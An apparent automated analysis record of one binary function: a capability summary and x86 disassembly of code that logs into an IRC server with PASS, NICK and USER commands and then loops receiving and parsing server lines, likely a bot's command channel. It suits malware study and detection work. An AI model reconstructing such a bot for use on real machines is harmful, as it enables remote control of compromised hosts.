Function at 0x10001dca
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14f0
call fcn.100095f8
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
xor edi, edi
push 0x10026f26
mov edx, edi
shl edx, 7
lea edx, [ebp + edx - 0x400]
push edx
call fcn.10009618
inc edi
cmp edi, 4
jl 0x10001ddf
xor edi, edi
push 0x200
push 0
lea eax, [ebp - 0x400]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
cmp byte [0x100260cc], 0
je 0x10001e56
push 0x100260cc
push str.PASS__s_r_n
lea eax, [ebp - 0x1448]
push eax
call fcn.100095c5
add esp, 0xc
lea ecx, [ebp - 0x1448]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x10001e3f
push 0
push eax
lea edx, [ebp - 0x1448]
push edx
push ebx
call sub.wsock32.dll_send
lea eax, [ebp - 0x1450]
push eax
call fcn.10001d59
mov edx, dword [ebp + 0x14]
push edx
push eax
push edx
push str.NICK__s_r_nUSER__s_0_0_:_s_r_n
lea edx, [ebp - 0x1448]
push edx
call fcn.100095c5
add esp, 0x18
lea ecx, [ebp - 0x1448]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x10001e85
push 0
push eax
lea edx, [ebp - 0x1448]
push edx
push ebx
call sub.wsock32.dll_send
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0xffffffff
jne 0x10001ec5
push ebx
call sub.wsock32.dll_closesocket
push 0x1388
call sub.KERNEL32.dll_Sleep
mov eax, 0
jmp 0x1000205e
push 0x1000
push 0
lea eax, [ebp - 0x1408]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
push 0
push 0x1000
lea eax, [ebp - 0x1408]
push eax
push ebx
call sub.wsock32.dll_recv
mov dword [ebp - 0x408], eax
or eax, eax
je 0x1000205c
cmp dword [ebp - 0x408], 0xffffffff
je 0x1000205c
push 0x200
push 0
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_memset
push 0x10026cdc
lea eax, [ebp - 0x1408]
push eax
call sub.CRTDLL.DLL_strtok
add esp, 0x14
mov esi, eax
or esi, esi
je 0x1000204f
push 0x1ff
push esi
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
jmp 0x1000204f
cmp byte [ebp + 0x24], 1
jne 0x10001f7f
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
lea eax, [ebp - 0x200]
push eax
call pe_dos_header
add esp, 0x20
mov edi, eax
cmp byte [ebp + 0x24], 0
jne 0x10001fe4
xor edi, edi
inc edi
push edi
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x14f0]
push eax
lea eax, [ebp - 0x400]
push eax
push dword [ebp + 0x20]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
lea eax, [ebp - 0x200]
push eax
call fcn.10002063
add esp, 0x28
mov edi, eax
dec edi
jg 0x10001f88
cmp edi, 0xffffffff
jne 0x10001fcb
xor eax, eax
jmp 0x1000205e
cmp edi, 0xfffffffe
jne 0x10001fd8
xor eax, eax
inc eax
jmp 0x1000205e
cmp edi, 0xfffffffd
jne 0x10001fe4
mov eax, 2
jmp 0x1000205e
mov ecx, esi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x10001fe9
push 0x10026cdc
lea edx, [eax + esi + 1]
push edx
call sub.CRTDLL.DLL_strtok
add esp, 8
mov esi, eax
cmp esi, 0
je 0x1000204f
lea ecx, [esi]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x1000200e
mov edx, eax
cmp byte [edx + esi + 2], 0xa
je 0x1000204d
lea ecx, [esi]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x10002023
cmp byte [eax + esi + 3], 0
je 0x1000204d
push 0x1ff
mov eax, esi
add eax, 1
push eax
lea eax, [ebp - 0x200]
push eax
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
jmp 0x1000204f
xor esi, esi
or esi, esi
jne 0x10001f55
jmp 0x10001ec5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret